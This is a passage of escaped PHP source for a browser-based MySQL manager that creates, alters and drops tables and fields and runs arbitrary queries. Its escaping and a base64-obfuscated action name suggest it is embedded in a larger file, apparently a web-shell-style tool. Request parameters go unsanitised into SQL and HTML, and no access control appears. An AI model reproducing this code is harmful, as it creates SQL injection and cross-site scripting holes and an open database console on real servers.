\\'\$tablename\\'?')\\\">Dump</a>\\n\";\r\n\t\techo \"</td>\\n\";\r\n\t\techo \"</tr>\\n\";\r\n\t}\r\n\techo \"</table>\";\r\n}\r\n\r\nfunction createTable() {\r\n\r\n\tglobal \$mysqlHandle, \$dbname, \$tablename, \$PHP_SELF, \$queryStr, \$errMsg;\r\n\t\$queryStr = \"CREATE TABLE \$tablename ( no INT )\";\r\n\tmysql_select_db( \$dbname, \$mysqlHandle );\r\n\tmysql_query( \$queryStr, \$mysqlHandle );\r\n\t\$errMsg = mysql_error();\r\n\tlistTables();\r\n}\r\n\r\nfunction dropTable() {\r\n\tglobal \$mysqlHandle, \$dbname, \$tablename, \$PHP_SELF, \$queryStr, \$errMsg;\r\n\t\$queryStr = \"DROP TABLE \$tablename\";\r\n\tmysql_select_db( \$dbname, \$mysqlHandle );\r\n\tmysql_query( \$queryStr, \$mysqlHandle );\r\n\t\$errMsg = mysql_error();\r\n\tlistTables();\r\n}\r\n\r\nfunction viewSchema() {\r\n\tglobal \$mysqlHandle, \$dbname, \$tablename, \$PHP_SELF, \$queryStr, \$errMsg;\r\n\techo \"<h1>Table Schema</h1>\\n\";\r\n\techo \"<p class=location>\$dbname > \$tablename</p>\\n\";\r\n\techoQueryResult();\r\n\techo \"<a href='\$PHP_SELF?action=addField&dbname=\$dbname&tablename=\$tablename'>Add Field</a> | \\n\";\r\n\techo \"<a href='\$PHP_SELF?action=dmlld0RhdGE=&dbname=\$dbname&tablename=\$tablename'>View Data</a>\\n\";\r\n\techo \"<hr>\\n\";\r\n\t\$pResult = mysql_db_query( \$dbname, \"SHOW fields FROM \$tablename\" );\r\n\t\$num = mysql_num_rows( \$pResult );\r\n\techo \"<table cellspacing=1 cellpadding=5>\\n\";\r\n\techo \"<tr>\\n\";\r\n\techo \"<th>Field</th>\\n\";\r\n\techo \"<th>Type</th>\\n\";\r\n\techo \"<th>Null</th>\\n\";\r\n\techo \"<th>Key</th>\\n\";\r\n\techo \"<th>Default</th>\\n\";\r\n\techo \"<th>Extra</th>\\n\";\r\n\techo \"<th colspan=2>Action</th>\\n\";\r\n\techo \"</tr>\\n\";\r\n\r\n\tfor( \$i = 0; \$i < \$num; \$i++ ) {\r\n\t\t\$field = mysql_fetch_array( \$pResult );\r\n\t\techo \"<tr>\\n\";\r\n\t\techo \"<td>\".\$field[\"Field\"].\"</td>\\n\";\r\n\t\techo \"<td>\".\$field[\"Type\"].\"</td>\\n\";\r\n\t\techo \"<td>\".\$field[\"Null\"].\"</td>\\n\";\r\n\t\techo \"<td>\".\$field[\"Key\"].\"</td>\\n\";\r\n\t\techo \"<td>\".\$field[\"Default\"].\"</td>\\n\";\r\n\t\techo \"<td>\".\$field[\"Extra\"].\"</td>\\n\";\r\n\t\t\$fieldname = \$field[\"Field\"];\r\n\t\techo \"<td><a href='\$PHP_SELF?action=editField&dbname=\$dbname&tablename=\$tablename&fieldname=\$fieldname'>Edit</a></td>\\n\";\r\n\t\techo \"<td><a href='\$PHP_SELF?action=dropField&dbname=\$dbname&tablename=\$tablename&fieldname=\$fieldname' onClick=\\\"return confirm('Drop Field \\'\$fieldname\\'?')\\\">Drop</a></td>\\n\";\r\n\t\techo \"</tr>\\n\";\r\n\t}\r\n\techo \"</table>\\n\";\r\n}\r\n\r\nfunction manageField( \$cmd ) {\r\n\tglobal \$mysqlHandle, \$dbname, \$tablename, \$fieldname, \$PHP_SELF;\r\n\tif( \$cmd == \"add\" )\r\n\t\techo \"<h1>Add Field</h1>\\n\";\r\n\telse if( \$cmd == \"edit\" ) {\r\n\t\techo \"<h1>Edit Field</h1>\\n\";\r\n\t\t\$pResult = mysql_db_query( \$dbname, \"SHOW fields FROM \$tablename\" );\r\n\t\t\$num = mysql_num_rows( \$pResult );\r\n\t\tfor( \$i = 0; \$i < \$num; \$i++ ) {\r\n\t\t\t\$field = mysql_fetch_array( \$pResult );\r\n\t\t\tif( \$field[\"Field\"] == \$fieldname ) {\r\n\t\t\t\t\$fieldtype = \$field[\"Type\"];\r\n\t\t\t\t\$fieldkey = \$field[\"Key\"];\r\n\t\t\t\t\$fieldextra = \$field[\"Extra\"];\r\n\t\t\t\t\$fieldnull = \$field[\"Null\"];\r\n\t\t\t\t\$fielddefault = \$field[\"Default\"];\r\n\t\t\t\tbreak;\r\n\t\t\t}\r\n\t\t}\r\n\r\n\t\t\$type = strtok( \$fieldtype, \" (,)\\n\" );\r\n\t\tif( strpos( \$fieldtype, \"(\" ) ) {\r\n\t\t\tif( \$type == \"enum\" | \$type == \"set\" ) {\r\n\t\t\t\t\$valuelist = strtok( \" ()\\n\" );\r\n\t\t\t} else {\r\n\t\t\t\t\$M = strtok( \" (,)\\n\" );\r\n\t\t\t\tif( strpos( \$fieldtype, \",\" ) )\r\n\t\t\t\t\t\$D = strtok( \" (,)\\n\" );\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\r\n\techo \"<p class=location>\$dbname > \$tablename</p>\\n\";\r\n\techo \"<form action=\$PHP_SELF>\\n\";\r\n\tif( \$cmd == \"add\" )\r\n\t\techo \"<input type=hidden name=action value=addField_submit>\\n\";\r\n\telse if( \$cmd == \"edit\" ) {\r\n\t\techo \"<input type=hidden name=action value=editField_submit>\\n\";\r\n\t\techo \"<input type=hidden name=old_name value=\$fieldname>\\n\";\r\n\t}\r\n\techo \"<input type=hidden name=dbname value=\$dbname>\\n\";\r\n\techo \"<input type=hidden name=tablename value=\$tablename>\\n\";\r\n\techo \"<h3>Name</h3>\\n\";\r\n\techo \"<input type=text name=name value=\$fieldname><p>\\n\";\r\n\techo '\r\n\r\n<h3>Type</h3>\r\n<font size=2 class=\"new\">\r\n* `M\\' indicates the maximum display size.<br>\r\n* `D\\' applies to floating-point types and indicates the number of digits following the decimal point.<br>\r\n</font>\r\n<table>\r\n<tr>\r\n<th>Type</th><th> M </th><th> D </th><th>unsigned</th><th>zerofill</th><th>binary</th>\r\n</tr>\r\n<tr>\r\n<td><input type=radio name=type value=\"TINYINT\" '; if( \$type == \"tinyint\" ) echo \"checked\";echo '>TINYINT (-128 ~ 127)</td>\r\n<td align=center>O</td>\r\n<td> </td>\r\n<td align=center>O</td>\r\n<td align=center>O</td>\r\n<td> </td>\r\n</tr>\r\n<tr>\r\n<td><input type=radio name=type value=\"SMALLINT\" '; if( \$type == \"smallint\" ) echo \"checked\";echo '>SMALLINT (-32768 ~ 32767)</td>\r\n<td align=center>O</td>\r\n<td> </td>\r\n<td align=center>O</td>\r\n<td align=center>O</td>\r\n<td> </td>\r\n</tr>\r\n<tr>\r\n<td><input type=radio name=type value=\"MEDIUMINT\" '; if( \$type == \"mediumint\" ) echo \"checked\";echo '>MEDIUMINT (-8388608 ~ 8388607)</td>\r\n<td align=center>O</td>\r\n<td> </td>\r\n<td align=center>O</td>\r\n<td align=center>O</td>\r\n<td> </td>\r\n</tr>\r\n<tr>\r\n<td><input type=radio name=type value=\"INT\" '; if( \$type == \"int\" ) echo \"checked\";echo '>INT (-2147483648 ~ 2147483647)</td>\r\n<td align=center>O</td>\r\n<td> </td>\r\n<td align=center>O</td>\r\n<td align=center>O</td>\r\n<td> </td>\r\n</tr>\r\n<tr>\r\n<td><input type=radio name=type value=\"BIGINT\" '; if( \$type == \"bigint\" ) echo \"checked\";echo '>BIGINT (-9223372036854775808 ~ 9223372036854775807)</td>\r\n<td align=center>O</td>\r\n<td> </td>\r\n<td align=center>O</td>\r\n<td align=center>O</td>\r\n<td> </td>\r\n</tr>\r\n<tr>\r\n<td><input type=radio name=type value=\"FLOAT\" '; if( \$type == \"float\" ) echo \"checked\";echo '>FLOAT</td>\r\n<td align=center>O</td>\r\n<td align=center>O</td>\r\n<td> </td>\r\n<td align=center>O</td>\r\n<td> </td>\r\n</tr>\r\n<tr>\r\n<td><input type=radio name=type value=\"DOUBLE\" '; if( \$type == \"double\" ) echo \"checked\";echo '>DOUBLE</td>\r\n<td align=center>O</td>\r\n<td align=center>O</td>\r\n<td> </td>\r\n<td align=center>O</td>\r\n<td> </td>\r\n</tr>\r\n<tr>\r\n<td><input type=radio name=type value=\"DECIMAL\" '; if( \$type == \"decimal\" ) echo \"checked\";echo '>DECIMAL(NUMERIC)</td>\r\n<td align=center>O</td>\r\n<td align=center>O</td>\r\n<td> </td>\r\n<td align=center>O</td>\r\n<td> </td>\r\n</tr>\r\n<tr>\r\n<td><input type=radio name=type value=\"DATE\" '; if( \$type == \"date\" ) echo \"checked\";echo '>DATE (1000-01-01 ~ 9999-12-31, YYYY-MM-DD)</td>\r\n<td> </td>\r\n<td> </td>\r\n<td> </td>\r\n<td> </td>\r\n<td> </td>\r\n</tr>\r\n<tr>\r\n<td><input type=radio name=type value=\"DATETIME\" '; if( \$type == \"datetime\" ) echo \"checked\";echo '>DATETIME (1000-01-01 00:00:00 ~ 9999-12-31 23:59:59, YYYY-MM-DD HH:MM:SS)</td>\r\n<td> </td>\r\n<td> </td>\r\n<td> </td>\r\n<td> </td>\r\n<td> </td>\r\n</tr>\r\n<tr>\r\n<td><input type=radio name=type value=\"TIMESTAMP\" '; if( \$type == \"timestamp\" ) echo \"checked\";echo '>TIMESTAMP (1970-01-01 00:00:00 ~ 2106..., YYYYMMDD[HH[MM[SS]]])</td>\r\n<td align=center>O</td>\r\n<td> </td>\r\n<td> </td>\r\n<td> </td>\r\n<td> </td>\r\n</tr>\r\n<tr>\r\n<td><input type=radio name=type value=\"TIME\" '; if( \$type == \"time\" ) echo \"checked\";echo '>TIME (-838:59:59 ~ 838:59:59, HH:MM:SS)</td>\r\n<td> </td>\r\n<td> </td>\r\n<td> </td>\r\n<td> </td>\r\n<td> </td>\r\n</tr>\r\n<tr>\r\n<td><input type=radio name=type value=\"YEAR\" '; if( \$type == \"year\" ) echo \"checked\";echo '>YEAR (1901 ~ 2155, 0000, YYYY)</td>\r\n<td> </td>\r\n<td> </td>\r\n<td> </td>\r\n<td> </td>\r\n<td> </td>\r\n</tr>\r\n<tr>\r\n<td><input type=radio name=type value=\"CHAR\" '; if( \$type == \"char\" ) echo \"checked\";echo '>CHAR</td>\r\n<td align=center>O</td>\r\n<td> </td>\r\n<td> </td>\r\n<td> </td>\r\n<td align=center>O</td>\r\n</tr>\r\n<tr>\r\n<td><input type=radio name=type value=\"VARCHAR\" '; if( \$type == \"varchar\" ) echo \"checked\";echo '>VARCHAR</td>\r\n<td align=center>O</td>\r\n<td> </td>\r\n<td> </td>\r\n<td> </td>\r\n<td align=center>O</td>\r\n</tr>\r\n<tr>\r\n<td><input type=radio name=type value=\"TINYTEXT\" '; if( \$type == \"tinytext\" ) echo \"checked\";echo '>TINYTEXT (0 ~ 255)</td>\r\n<td> </td>\r\n<td> </td>\r\n<td> </td>\r\n<td> </td>\r\n<td> </td>\r\n</tr>\r\n<tr>\r\n<td><input type=radio name=type value=\"TEXT\" '; if( \$type == \"text\" ) echo \"checked\";echo '>TEXT (0 ~ 65535)</td>\r\n<td> </td>\r\n<td> </td>\r\n<td> </td>\r\n<td> </td>\r\n<td> </td>\r\n</tr>\r\n<tr>\r\n<td><input type=radio name=type value=\"MEDIUMTEXT\" '; if( \$type == \"mediumtext\" ) echo \"checked\";echo '>MEDIUMTEXT (0 ~ 16777215)</td>\r\n<td> </td>\r\n<td> </td>\r\n<td> </td>\r\n<td> </td>\r\n<td> </td>\r\n</tr>\r\n<tr>\r\n<td><input type=radio name=type value=\"LONGTEXT\" '; if( \$type == \"longtext\" ) echo \"checked\";echo '>LONGTEXT (0 ~ 4294967295)</td>\r\n<td> </td>\r\n<td> </td>\r\n<td> </td>\r\n<td> </td>\r\n<td> </td>\r\n</tr>\r\n<tr>\r\n<td><input type=radio name=type value=\"TINYBLOB\" '; if( \$type == \"tinyblob\" ) echo \"checked\";echo '>TINYBLOB (0 ~ 255)</td>\r\n<td> </td>\r\n<td> </td>\r\n<td> </td>\r\n<td> </td>\r\n<td> </td>\r\n</tr>\r\n<tr>\r\n<td><input type=radio name=type value=\"BLOB\" '; if( \$type == \"blob\" ) echo \"checked\";echo '>BLOB (0 ~ 65535)</td>\r\n<td> </td>\r\n<td> </td>\r\n<td> </td>\r\n<td> </td>\r\n<td> </td>\r\n</tr>\r\n<tr>\r\n<td><input type=radio name=type value=\"MEDIUMBLOB\" '; if( \$type == \"mediumblob\" ) echo \"checked\";echo '>MEDIUMBLOB (0 ~ 16777215)</td>\r\n<td> </td>\r\n<td> </td>\r\n<td> </td>\r\n<td> </td>\r\n<td> </td>\r\n</tr>\r\n<tr>\r\n<td><input type=radio name=type value=\"LONGBLOB\" '; if( \$type == \"longblob\" ) echo \"checked\";echo '>LONGBLOB (0 ~ 4294967295)</td>\r\n<td> </td>\r\n<td> </td>\r\n<td> </td>\r\n<td> </td>\r\n<td> </td>\r\n</tr>\r\n<tr>\r\n<td><input type=radio name=type value=\"ENUM\" '; if( \$type == \"enum\" ) echo \"checked\";echo '>ENUM</td>\r\n<td colspan=5><center>value list</center></td>\r\n</tr>\r\n<tr>\r\n<td><input type=radio name=type value=\"SET\" '; if( \$type == \"set\" ) echo \"checked\";echo '>SET</td>\r\n<td colspan=5><center>value list</center></td>\r\n</tr>\r\n</table>\r\n<table>\r\n<tr><th>M</th><th>D</th><th>unsigned</th><th>zerofill</th><th>binary</th><th>value list (ex: \\'apple\\', \\'orange\\', \\'banana\\') </th></tr>\r\n<tr>\r\n<td align=center><input type=text size=4 name=M '; if( \$M != \"\" ) echo \"value=\$M\";echo '></td>\r\n<td align=center><input type=text size=4 name=D '; if( \$D != \"\" ) echo \"value=\$D\";echo '></td>\r\n<td align=center><input type=checkbox name=unsigned value=\"UNSIGNED\" '; if( strpos( \$fieldtype, \"unsigned\" ) ) echo \"checked\";echo '></td>\r\n<td align=center><input type=checkbox name=zerofill value=\"ZEROFILL\" '; if( strpos( \$fieldtype, \"zerofill\" ) ) echo \"checked\";echo '></td>\r\n<td align=center><input type=checkbox name=binary value=\"BINARY\" '; if( strpos( \$fieldtype, \"binary\" ) ) echo \"checked\";echo '></td>\r\n<td align=center><input type=text size=60 name=valuelist '; if( \$valuelist != \"\" ) echo \"value=\\\"\$valuelist\\\"\";echo '></td>\r\n</tr>\r\n</table>\r\n<h3>Flags</h3>\r\n<table>\r\n<tr><th>not null</th><th>default value</th><th>auto increment</th><th>primary key</th></tr>\r\n<tr>\r\n<td align=center><input type=checkbox name=not_null value=\"NOT NULL\" '; if( \$fieldnull != \"YES\" ) echo \"checked\";echo '></td>\r\n<td align=center><input type=text name=default_value '; if( \$fielddefault != \"\" ) echo \"value=\$fielddefault\";echo '></td>\r\n<td align=center><input type=checkbox name=auto_increment value=\"AUTO_INCREMENT\" '; if( \$fieldextra == \"auto_increment\" ) echo \"checked\";echo '></td>\r\n<td align=center><input type=checkbox name=primary_key value=\"PRIMARY KEY\" '; if( \$fieldkey == \"PRI\" ) echo \"checked\";echo '></td>\r\n</tr>\r\n</table>\r\n<p>';\r\n\tif( \$cmd == \"add\" )\r\n\t\techo \"<input type=submit value='Add Field'>\\n\";\r\n\telse if( \$cmd == \"edit\" )\r\n\t\techo \"<input type=submit value='Edit Field'>\\n\";\r\n\techo \"<input type=button value=Cancel onClick='history.back()'>\\n\";\r\n\techo \"</form>\\n\";\r\n}\r\n\r\nfunction manageField_submit( \$cmd ) {\r\n\tglobal \$mysqlHandle, \$dbname, \$tablename, \$old_name, \$name, \$type, \$PHP_SELF, \$queryStr, \$errMsg,\r\n\t\t\$M, \$D, \$unsigned, \$zerofill, \$binary, \$not_null, \$default_value, \$auto_increment, \$primary_key, \$valuelist;\r\n\tif( \$cmd == \"add\" )\r\n\t\t\$queryStr = \"ALTER TABLE \$tablename ADD \$name \";\r\n\telse if( \$cmd == \"edit\" )\r\n\t\t\$queryStr = \"ALTER TABLE \$tablename CHANGE \$old_name \$name \";\r\n\tif( \$M != \"\" )\r\n\t\tif( \$D != \"\" )\r\n\t\t\t\$queryStr .= \"\$type(\$M,\$D) \";\r\n\t\telse\r\n\t\t\t\$queryStr .= \"\$type(\$M) \";\r\n\telse if( \$valuelist != \"\" ) {\r\n\t\t\$valuelist = stripslashes( \$valuelist );\r\n\t\t\$queryStr .= \"\$type(\$valuelist) \";\r\n\t} else\r\n\t\t\$queryStr .= \"\$type \";\r\n\t\$queryStr .= \"\$unsigned \$zerofill \$binary \";\r\n\tif( \$default_value != \"\" )\r\n\t\t\$queryStr .= \"DEFAULT '\$default_value' \";\r\n\t\$queryStr .= \"\$not_null \$auto_increment\";\r\n\tmysql_select_db( \$dbname, \$mysqlHandle );\r\n\tmysql_query( \$queryStr, \$mysqlHandle );\r\n\t\$errMsg = mysql_error();\r\n\t// key change\r\n\t\$keyChange = false;\r\n\t\$result = mysql_query( \"SHOW KEYS FROM \$tablename\" );\r\n\t\$primary = \"\";\r\n\twhile( \$row = mysql_fetch_array(\$result) )\r\n\t\tif( \$row[\"Key_name\"] == \"PRIMARY\" ) {\r\n\t\t\tif( \$row[Column_name] == \$name )\r\n\t\t\t\t\$keyChange = true;\r\n\t\t\telse\r\n\t\t\t\t\$primary .= \", \$row[Column_name]\";\r\n\t\t}\r\n\tif( \$primary_key == \"PRIMARY KEY\" ) {\r\n\t\t\$primary .= \", \$name\";\r\n\t\t\$keyChange = !\$keyChange;\r\n\t}\r\n\t\$primary = substr( \$primary, 2 );\r\n\tif( \$keyChange == true ) {\r\n\t\t\$q = \"ALTER TABLE \$tablename DROP PRIMARY KEY\";\r\n\t\tmysql_query( \$q );\r\n\t\t\$queryStr .= \"<br>\\n\" . \$q;\r\n\t\t\$errMsg .= \"<br>\\n\" . mysql_error();\r\n\t\t\$q = \"ALTER TABLE \$tablename ADD PRIMARY KEY( \$primary )\";\r\n\t\tmysql_query( \$q );\r\n\t\t\$queryStr .= \"<br>\\n\" . \$q;\r\n\t\t\$errMsg .= \"<br>\\n\" . mysql_error();\r\n\t}\r\n\tviewSchema();\r\n}\r\n\r\nfunction dropField() {\r\n\tglobal \$mysqlHandle, \$dbname, \$tablename, \$fieldname, \$PHP_SELF, \$queryStr, \$errMsg;\r\n\t\$queryStr = \"ALTER TABLE \$tablename DROP COLUMN \$fieldname\";\r\n\tmysql_select_db( \$dbname, \$mysqlHandle );\r\n\tmysql_query( \$queryStr , \$mysqlHandle );\r\n\t\$errMsg = mysql_error();\r\n\tviewSchema();\r\n}\r\n\r\nfunction viewData( \$queryStr ) {\r\n\tglobal \$action, \$mysqlHandle, \$dbname, \$tablename, \$PHP_SELF, \$errMsg, \$page, \$rowperpage, \$orderby;\r\n\techo \"<h1>Data in Table</h1>\\n\";\r\n\tif( \$tablename != \"\" )\r\n\t\techo \"<p class=location>\$dbname > \$tablename</p>\\n\";\r\n\telse\r\n\t\techo \"<p class=location>\$dbname</p>\\n\";\r\n\t\$queryStr = stripslashes( \$queryStr );\r\n\tif( \$queryStr == \"\" ) {\r\n\t\t\$queryStr = \"SELECT * FROM \$tablename\";\r\n\t\tif( \$orderby != \"\" )\r\n\t\t\t\$queryStr .= \" ORDER BY \$orderby\";\r\n\t\techo \"<a href='\$PHP_SELF?action=addData&dbname=\$dbname&tablename=\$tablename'>Add Data</a> | \\n\";\r\n\t\techo \"<a href='\$PHP_SELF?action=viewSchema&dbname=\$dbname&tablename=\$tablename'>Schema</a>\\n\";\r\n\t}\r\n\t\$pResult = mysql_db_query( \$dbname, \$queryStr );\r\n\t\$fieldt = mysql_fetch_field(\$pResult);\r\n\t\$tablename = \$fieldt->table;\r\n\t\$errMsg = mysql_error();\r\n\t\$GLOBALS[queryStr] = \$queryStr;\r\n\tif( \$pResult == false ) {\r\n\t\techoQueryResult();\r\n\t\treturn;\r\n\t}\r\n\tif( \$pResult == 1 ) {\r\n\t\t\$errMsg = \"Success\";\r\n\t\techoQueryResult();\r\n\t\treturn;\r\n\t}\r\n\techo \"<hr>\\n\";\r\n\t\$row = mysql_num_rows( \$pResult );\r\n\t\$col = mysql_num_fields( \$pResult );\r\n\tif( \$row == 0 ) {\r\n\t\techo \"No Data Exist!\";\r\n\t\treturn;\r\n\t}\r\n\tif( \$rowperpage == \"\" ) \$rowperpage = 30;\r\n\tif( \$page == \"\" ) \$page = 0;\r\n\telse \$page--;\r\n\tmysql_data_seek( \$pResult, \$page * \$rowperpage );\r\n\techo \"<table cellspacing=1 cellpadding=2>\\n\";\r\n\techo \"<tr>\\n\";\r\n\tfor( \$i = 0; \$i < \$col; \$i++ ) {\r\n\t\t\$field = mysql_fetch_field( \$pResult, \$i );\r\n\t\techo \"<th>\";\r\n\t\tif(\$action == \"dmlld0RhdGE=\")\r\n\t\t\techo \"<a href='\$PHP_SELF?action=dmlld0RhdGE=&dbname=\$dbname&tablename=\$tablename&orderby=\".\$field->name.\"'>\".\$field->name.\"</a>\\n\";\r\n\t\telse\r\n\t\t\techo \$field->name.\"\\n\";\r\n\t\techo \"</th>\\n\";\r\n\t}\r\n\techo \"<th colspan=2>Action</th>\\n\";\r\n\techo \"</tr>\\n\";\r\n\tfor( \$i = 0; \$i < \$rowperpage; \$i++ ) {\r\n\t\t\$rowArray = mysql_fetch_row( \$pResult );\r\n\t\tif( \$rowArray == false ) break;\r\n\t\techo \"<tr>\\n\";\r\n\t\t\$key = \"\";\r\n\t\tfor( \$j = 0; \$j < \$col; \$j++ ) {\r\n\t\t\t\$data = \$rowArray[\$j];\r\n\t\t\t\$field = mysql_fetch_field( \$pResult, \$j );\r\n\t\t\tif( \$field->primary_key == 1 )\r\n\t\t\t\t\$key .= \"&\" . \$field->name . \"=\" . \$data;\r\n\t\t\tif( strlen( \$data ) > 30 )\r\n\t\t\t\t\$data = substr( \$data, 0, 30 ) . \"...\";\r\n\t\t\t\$data = htmlspecialchars( \$data );\r\n\t\t\techo \"<td>\\n\";\r\n\t\t\techo \"\$data\\n\";\r\n\t\t\techo \"</td>\\n\";\r\n\t\t}\r\n\t\tif( \$key == \"\" )\r\n\t\t\techo \"<td colspan=2>no Key</td>\\n\";\r\n\t\telse {\r\n\t\t\techo \"<td><a href='\$PHP_SELF?action=editData\$key&dbname=\$dbname&tablename=\$tablename'>Edit</a></td>\\n\";\r\n\t\t\techo \"<td><a href='\$PHP_SELF?action=deleteData\$key&dbname=\$dbname&tablename=\$tablename' onClick=\\\"return confirm('Delete Row?')\\\">Delete</a></td>\\n\";\r\n\t\t}\r\n\t\techo \"</tr>\\n\";\r\n\t}\r\n\techo \"</table>\\n\";\r\n\techo \"<font size=2 class=\\\"new\\\">\\n\";\r\n\tif(\$action == \"dmlld0RhdGE=\")\r\n\t\techo \"<form action='\$PHP_SELF?action=dmlld0RhdGE=&dbname=\$dbname&tablename=\$tablename' method=post>\\n\";\r\n\telse\r\n\t\techo \"<form action='\$PHP_SELF?action=query&dbname=\$dbname&tablename=\$tablename&queryStr=\$queryStr' method=post>\\n\";\r\n\techo (\$page+1).\"/\".(int)(\$row/\$rowperpage+1).\" page\";\r\n\techo \"</font>\\n\";\r\n\techo \" | \";\r\n\tif( \$page > 0 ) {\r\n\t\tif(\$action == \"dmlld0RhdGE=\")\r\n\t\t\techo \"<a href='\$PHP_SELF?action=dmlld0RhdGE=&dbname=\$dbname&tablename=\$tablename&page=\".(\$page);\r\n\t\telse\r\n\t\t\techo \"<a href='\$PHP_SELF?action=query&dbname=\$dbname&tablename=\$tablename&queryStr=\$queryStr&page=\".(\$page);\r\n\t\tif( \$orderby != \"\" && \$action == \"dmlld0RhdGE=\")\r\n\t\t\techo \"&orderby=\$orderby\";\r\n\t\techo \"'>Prev</a>\\n\";\r\n\t} else\r\n\t\techo \"<font size=2 class=\\\"new\\\">Prev</font>\";\r\n\techo \" | \";\r\n\tif( \$page < (\$row/\$rowperpage)-1 ) {\r\n\t\tif(\$action == \"dmlld0RhdGE=\")\r\n\t\t\techo \"<a href='\$PHP_SELF?action=dmlld0RhdGE=&dbname=\$dbname&tablename=\$tablename&page=\".(\$page+2);\r\n\t\telse\r\n\t\t\techo \"<a href='\$PHP_SELF?action=query&dbname=\$dbname&tablename=\$tablename&queryStr=\$queryStr&page=\".(\$page+2);\r\n\t\tif( \$orderby != \"\" && \$action == \"dmlld0RhdGE=\")\r\n\t\t\techo \"&orderby=\$orderby\";\r\n\t\techo \"'>Next</a>\\n\";\r\n\t} else\r\n\t\techo \"Next\";\r\n\techo \" | \";\r\n\tif( \$row > \$rowperpage ) {\r\n\t\techo \"<input type=text size=4 name=page>\\n\";\r\n\t\techo \"<input type=submit value='Go'>\\n\";\r\n\t}\r\n\techo \"</form>\\n\";\r\n\techo \"</font>\\n\";\r\n}\r\n\r\nfunction manageData( \$cmd ) {\r\n\tglobal \$mysqlHandle, \$dbname, \$tablename, \$PHP_SELF;\r\n\tif( \$cmd == \"add\" )\r\n\t\techo \"<h1>Add Data</h1>\\n\";\r\n\telse if( \$cmd == \"edit\" ) {\r\n\t\techo \"<h1>Edit Data</h1>\\n\";\r\n\t\t\$pResult = mysql_list_fields( \$dbname, \$tablename );\r\n\t\t\$num = mysql_num_fields( \$pResult );\r\n\t\t\$key = \"\";\r\n\t\tfor( \$i = 0; \$i < \$num; \$i++ ) {\r\n\t\t\t\$field = mysql_fetch_field( \$pResult, \$i );\r\n\t\t\tif( \$field->primary_key == 1 )\r\n\t\t\t\tif( \$field->numeric == 1 )\r\n\t\t\t\t\t\$key .= \$field->name . \"=\" . \$GLOBALS[\$field->name] . \" AND \";\r\n\t\t\t\telse\r\n\t\t\t\t\t\$key .= \$field->name . \"='\" . \$GLOBALS[\$field->name] . \"' AND \";\r\n\t\t}\r\n\t\t\$key = substr( \$key, 0, strlen(\$key)-4 );\r\n\t\tmysql_select_db( \$dbname, \$mysqlHandle );\r\n\t\t\$pResult = mysql_query( \$queryStr = \"SELECT * FROM \$tablename WHERE \$key\", \$mysqlHandle );\r\n\t\t\$data = mysql_fetch_array( \$pResult );\r\n\t}\r\n\techo \"<p class=location>\$dbname > \$tablename</p>\\n\";\r\n\techo \"<form action='\$PHP_SELF' method=post>\\n\";\r\n\tif( \$cmd == \"add\" )\r\n\t\techo \"<input type=hidden name=action value=addData_submit>\\n\";\r\n\telse if( \$cmd == \"edit\" )\r\n\t\techo \"<input type=hidden name=action value=editData_submit>\\n\";\r\n\techo \"<input type=hidden name=dbname value=\$dbname>\\n\";\r\n\techo \"<input type=hidden name=tablename value=\$tablename>\\n\";\r\n\techo \"<table cellspacing=1 cellpadding=2>\\n\";\r\n\techo \"<tr>\\n\";\r\n\techo \"<th>Name</th>\\n\";\r\n\techo \"<th>Type</th>\\n\";\r\n\techo \"<th>Function</th>\\n\";\r\n\techo \"<th>Data</th>\\n\";\r\n\techo \"</tr>\\n\";\r\n\t\$pResult = mysql_db_query( \$dbname, \"SHOW fields FROM \$tablename\" );\r\n\t\$num = mysql_num_rows( \$pResult );\r\n\t\$pResultLen = mysql_list_fields( \$dbname, \$tablename );\r\n\tfor( \$i = 0; \$i < \$num; \$i++ ) {\r\n\t\t\$field = mysql_fetch_array( \$pResult );\r\n\t\t\$fieldname = \$field[\"Field\"];\r\n\t\t\$fieldtype = \$field[\"Type\"];\r\n\t\t\$len = mysql_field_len( \$pResultLen, \$i );\r\n\t\techo \"<tr>\";\r\n\t\techo \"<td>\$fieldname</td>\";\r\n\t\techo \"<td>\".\$field[\"Type\"].\"</td>\";\r\n\t\techo \"<td>\\n\";\r\n\t\techo \"<select name=\${fieldname}_function>\\n\";\r\n\t\techo \"<option>\\n\";\r\n\t\techo \"<option>ASCII\\n\";\r\n\t\techo \"<option>CHAR\\n\";\r\n\t\techo \"<option>SOUNDEX\\n\";\r\n\t\techo \"<option>CURDATE\\n\";\r\n\t\techo \"<option>CURTIME\\n\";\r\n\t\techo \"<option>FROM_DAYS\\n\";\r\n\t\techo \"<option>FROM_UNIXTIME\\n\";\r\n\t\techo \"<option>NOW\\n\";\r\n\t\techo \"<option>PASSWORD\\n\";\r\n\t\techo \"<option>PERIOD_ADD\\n\";\r\n\t\techo \"<option>PERIOD_DIFF\\n\";\r\n\t\techo \"<option>TO_DAYS\\n\";\r\n\t\techo \"<option>USER\\n\";\r\n\t\techo \"<option>WEEKDAY\\n\";\r\n\t\techo \"<option>RAND\\n\";\r\n\t\techo \"</select>\\n\";\r\n\t\techo \"</td>\\n\";\r\n\t\t\$value = htmlspecialchars(\$data[\$i]);\r\n\t\tif( \$cmd == \"add\" ) {\r\n\t\t\t\$type = strtok( \$fieldtype, \" (,)\\n\" );\r\n\t\t\tif( \$type == \"enum\" || \$type == \"set\" ) {\r\n\t\t\t\techo \"<td>\\n\";\r\n\t\t\t\tif( \$type == \"enum\" )\r\n\t\t\t\t\techo \"<select name=\$fieldname>\\n\";\r\n\t\t\t\telse if( \$type == \"set\" )\r\n\t\t\t\t\techo \"<select name=\$fieldname size=4 multiple>\\n\";\r\n\t\t\t\twhile( \$str = strtok( \"'\" ) ) {\r\n\t\t\t\t\techo \"<option>\$str\\n\";\r\n\t\t\t\t\tstrtok( \"'\" );\r\n\t\t\t\t}\r\n\t\t\t\techo \"</select>\\n\";\r\n\t\t\t\techo \"</td>\\n\";\r\n\t\t\t} else {\r\n\t\t\t\tif( \$len < 40 )\r\n\t\t\t\t\techo \"<td><input type=text size=40 maxlength=\$len name=\$fieldname></td>\\n\";\r\n\t\t\t\telse\r\n\t\t\t\t\techo \"<td><textarea cols=40 rows=3 maxlength=\$len name=\$fieldname></textarea>\\n\";\r\n\t\t\t}\r\n\t\t} else if( \$cmd == \"edit\" ) {\r\n\t\t\t\$type = strtok( \$fieldtype, \" (,)\\n\" );\r\n\t\t\tif( \$type == \"enum\" || \$type == \"set\" ) {\r\n\t\t\t\techo \"<td>\\n\";\r\n\t\t\t\tif( \$type == \"enum\" )\r\n\t\t\t\t\techo \"<select 